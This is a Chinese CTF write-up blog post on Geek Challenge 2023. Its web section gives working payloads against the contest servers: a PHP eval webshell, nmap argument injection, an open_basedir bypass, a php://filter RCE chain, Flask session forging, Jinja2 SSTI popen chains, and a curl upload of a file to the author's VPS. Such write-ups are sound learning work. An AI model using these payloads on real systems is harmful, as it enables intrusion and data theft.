geekchallenge

crypto

signin

easy_classic

凯撒+W型栅栏+base64+熊曰解密++emoji+普莱费尔加密解密

misc

签到

下一站是哪儿

binwalk分离+标准银河字母表+航班查询+航班有两种表达方式

Qingwan心都要碎了

博物馆,一不小心随便输一个直接对了

xqr

分离图片+调整图片大小+stegsolve异或

窃听风云

Net-NTLMv2哈希爆破

本人彩笔,参考下文破解的:

利用hashcat破解NTLMv2 hash - 简书 (jianshu.com)

ez_smilemo

网上搜,搜到一个工具UndertaleModTool,打开data.win文件,找一下就能找到flag了

web

Ezhttp

最后一步是via,比较少见一点

unsign

简单的pop链

easy_php

比较难的一步

1
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) 

采用科学计数法绕过即可

n00b_Upload

简单的文件上传,就是蚁剑连不上🤔

ctf_curl

要有一台vps,然后开启监听

直接传文件

1
curl -T /tmp/Syclover ip #

ez_remove

字符绕过(十六进制)+fast_destruct+glob读文件+chdir绕过openbasedir

system被ban了,

glob读文件:(类似ctfshow72)

1
2
3
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit(0);  #扫描根目录有什么文件
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");} exit(0);

最终payload:

1
2
3
4
5
6
?web=a:2:{i:0;O:3:"syc":1:{S:5:"lo\76er";s:171:"mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/f1ger');";}i:0;N;}

ez_path

提交框含有目录穿越漏洞(这题../读不了(url编码后的),也不知道为什么)

最终payload:

Title://f14444(从主页F12得知)(一个‘/’也行)

Content:

you know flask?

考点:session伪造

下载工具,将cookie值解密,并改造成admin

加密过程中发现需要密钥,在robots.txt里可以找到

最终payload:

1
python flask····.py encode -s "wanbaoMQ==wanbao" -t "{'is_admin': True, 'name': 'admin', 'user_id': 1}"

klf_ssti

一解:

tplmap测出jinja2模板盲注

直接跑脚本出了

二解:

tplmap拿到shell后,将结果写入robots.txt

Puppy_rce

无参数RCE,随机读文件,最终payload

1
highlight_file(array_rand(array_flip(scandir(getcwd()))));

另一种payload:

1
readfile(array_rand(array_flip(scandir(pos(localeconv())))));

非常好文章:PHP的无参数RCE - 先知社区 (aliyun.com)

ezrfi

1
../../hint

读完base64(php)+尊嘟假嘟,然后不会了,发现官方有个hint,rc4解密,密钥是题目描述的Syclover,然后又不会了,等wp了

差最后一步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
通用文件包含
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-
1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|conver
t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR
|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp&0=cat%20/f*
#此步来源于https://www.cnblogs.com/mumuhhh/articles/17860683.html

scan_tool

感觉像拼接命令执行,类似ping题,但是,好像被过滤了,直接搜CTF nmap

搜到一道相似的[网鼎杯]2020朱雀组的Nmap,用他们的payload打,但是打不出,一堆参数都被过滤了,后缀php也被过滤了

此处顺便记录一下写马的payload

1
2
' <?= echo @eval($_POST["a"]);?> -oG coleak.phtml ' //写马
127.0.0.1' -iL /flag -o coleak //写入文件,然后直接访问

换种方式,查看有关这个的相关函数escapeshellargescapeshellcmd

然后继续搜,搜到有一篇博客说如果escapeshellarg 和 escapeshellcmd 在输入非ASCII 的字符时,会直接被忽略。

于是在命令参数中间夹杂中文字符,最终payload:

1
127.0.0.1' -i我L /flag -o我N 1.phtml '   //这里oG没打出来,不懂,oN打出来了

famale_imp_l0ve

考点: phar伪协议读zip文件

打开题目,文件上传,发现只能上传zip

F12发现include.php,用来文件包含

1
2
3
4
5
6
7
8
<?php
//o2takuXX师傅说有问题,忘看了。
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}

写一个一句话木马,然后压缩为zip,然后上传,然后phar伪协议读文件,zip协议也可以

payload

1
?file=phar://upload/a.zip/a.jpg

klf_2

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
http://qkxc2u105bpv62hkormtdb5oc.node.game.sycsec.com/secr3ttt?klf=
{%set b=dict(po=1,p=2)|join%}#用于提取字符串中的某个字符,用法pop(5)
{%set line=(lipsum|string|list)|attr(b)(18) %} #通过lipsum来获取单个下划线
{%set towline=(line,line)|join %} #下划线组合成两个下划线
{%set glbs=((towline,dict(glo=1,bals=2)|join)|join,towline)|join%}#dict合成__globals__关键字
{%set gtitem=(towline,dict(ge=1,titem=2)|join,towline)|join%} #dict合成__getitem__关键字
{%set pp=dict(po=a,pen=2)|join%} #dict合成popen关键字
{%set oo=dict(o=a,s=b)|join%} #os
{%set rd=dict(re=1,ad=2)|join%} #read
{%set kg=lipsum|string|list|attr(b)(9)%} #获取空格
{%set bult=(towline,dict(bui=1,ltins=2)|join,towline)|join%} #获取__builtins__
{%set ch=dict(ch=1,r=2)|join%} #获取chr字符串,因为特殊符号斜杠被过滤了,这里只能使用chr来创建
{%set gt=dict(get=a)|join%} #get
{%set cha=(lipsum|attr(glbs))|attr(gt)(bult)|attr(gt)(ch)%} #创建chr函数
{%set sv=lipsum|string|list|attr(b)(36)%} #获取数字7,因为斜杠\的ascii是47,这里7是会被检测
{%set f=4%} #获取4
{%set ap=dict(ap=1,p=2)|join%} #flag在/app路由下
{%set n=(f,sv)|join|int%} #组成47的数字,这个int有必要
{%set fl=dict(f=1,l=2)|join%}
{%set gg=(f,dict(g=1)|join)|join%} #flag的名字叫 fl4gfl4gfl4g
{%set fg=(fl,gg,fl,gg,fl,gg)|join%} #这连着的三个应该可以优化
{%set shell=((dict(ca=1,t=2)|join,kg,cha(n))|join,ap,cha(n),fg)|join%}#cat /app/fl4gfl4gfl4g
{{lipsum|attr(glbs)|attr(gtitem)(oo)|attr(pp)(shell)|attr(rd)()}} #执行完

好用的构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{% set po=dict(po=1,p=2)|join()%}  #po=pop
{% set a=(()|select|string|list)|attr(po)(24)%} #_
{% set oo=dict(o=a,s=a)|join()%} #os
{% set p=dict(po=a,pen=a)|join()%} #popen
{% set ch=dict(ch=a,r=a)|join()%} #chr
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%} #__init__
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%} #__globals__
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%} #__getitem__
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%} #__builtins__
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%} #__import__
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%} #__class__
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%} #__subclasses__
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%} #__base__
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%} #jay17.__class__.__base__.__subclasses__()
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%} #利用os类提取chr函数,用于字符串拼接
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%} #利用os类提取popen函数,用于字符串拼接
{% set re=dict(re=a,ad=a)|join()%} #read
{% set en=dict(en=a,v=a)|join()%} #env
{% set fl=dict(fl=a,ag=a)|join()%} #flag
{% set ta=dict(ta=a,c=a)|join()%} #ta
{% set kgxg=(chhr(32),chhr(47))|join()%} #空格/,用的是全角,不能完全全角,也可以自己构造。
{% set tf=(ta,kgxg,fl)|join()%} #tac /flag
{% set ll=dict(l=a,s=a)|join()%} #ls
{% set lll=(ll,kgxg)|join()%} #ls /
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%} #ls /app
{% set ha=dict(ha=a,hahaha=a)|join()%} #hahahaha
{% set th=(ta,chhr(32),ha)|join()%} #tac hahahaha
{% set tff=(ta,kgxg,ff)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%} #cat app.py
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}#tac /app/fl4gfl4gfl4g
{% set sss=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl44=a,44g=a)|join)|join()%}#tac /fl4444g
{% set cmd=pp(six)|attr(re)()%} #执行命令
{{cmd}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

无注释版本,可直接食用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set ca=dict(ca=a,t=a)|join()%}
{%set f=4%}
{%set g=dict(g=a)|join()%}
{%set ff=(f,f)|join|int%}
{%set fff=(ff,f)|join|int%}
{%set ffff=(fff,f)|join|int%}
{%set fl=dict(f=1,l=2)|join%}
{%set fg=(fl,ffff,g)|join%}
{% set kgxg=(chhr(32),chhr(47))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set tff=(ta,kgxg,fg)|join()%}
{% set cff=(ca,kgxg,fg)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(32),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(32),dict(ap=a,p=a)|join,chhr(46),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(47),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(cff)|attr(re)()%}
{{cmd}}

一些数字会被检测的话,可以参考下面思路,具体题目具体分析

1
2
3
4
5
6
7
8
9
10
11
{%set sv=lipsum|string|list|attr(b)(36)%}  #获取数字7,因为斜杠\的ascii是47,这里7是会被检测
{%set f=4%} #获取4
{%set g=dict(g=a)|join()%} #获取g
{%set ff=(f,f)|join|int%} # 44
{%set fff=(ff,f)|join|int%} # 444
{%set fl=dict(f=1,l=2)|join%} #fl
{%set gg=(f,dict(g=1)|join)|join%} #flag的名字叫 fl4gfl4gfl4g
{%set fg=(fl,gg,fl,gg,fl,gg)|join%}
{%set fg=(fl,fff,g)|join%}
{%set ap=dict(ap=1,p=2)|join%} #flag在/app路由下
{%set n=(f,sv)|join|int%} #组成47的数字,这个int有必要

自己复现时自己用的文件名字

1
2
3
4
5
6
7
8
9
10
11
12
构造并读取 #fl444g


{%set f=4%}
{%set g=dict(g=a)|join()%}
{%set ff=(f,f)|join|int%}
{%set fff=(ff,f)|join|int%}
{%set ffff=(fff,f)|join|int%}
{%set fl=dict(f=1,l=2)|join%}
{%set fg=(fl,ffff,g)|join%}
{{fg}}

拼接构建的一般步骤:拼接函数+拼接文件名+全角半角绕过+获取字符

klf_3

同klf_2


geekchallenge
http://ikun604.github.io/2023/11/06/geekchallenge2023wp/
作者
yfz-ikun604
发布于
2023年11月6日
许可协议